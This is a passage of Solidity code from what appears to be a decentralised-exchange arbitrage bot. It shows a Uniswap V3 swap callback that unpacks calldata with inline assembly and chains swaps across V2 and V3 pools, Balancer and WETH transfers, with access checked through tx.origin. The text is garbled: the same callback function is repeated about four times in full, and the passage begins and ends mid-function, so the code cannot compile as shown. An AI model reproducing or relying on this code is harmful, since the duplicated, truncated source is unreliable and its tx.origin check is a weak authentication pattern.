if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
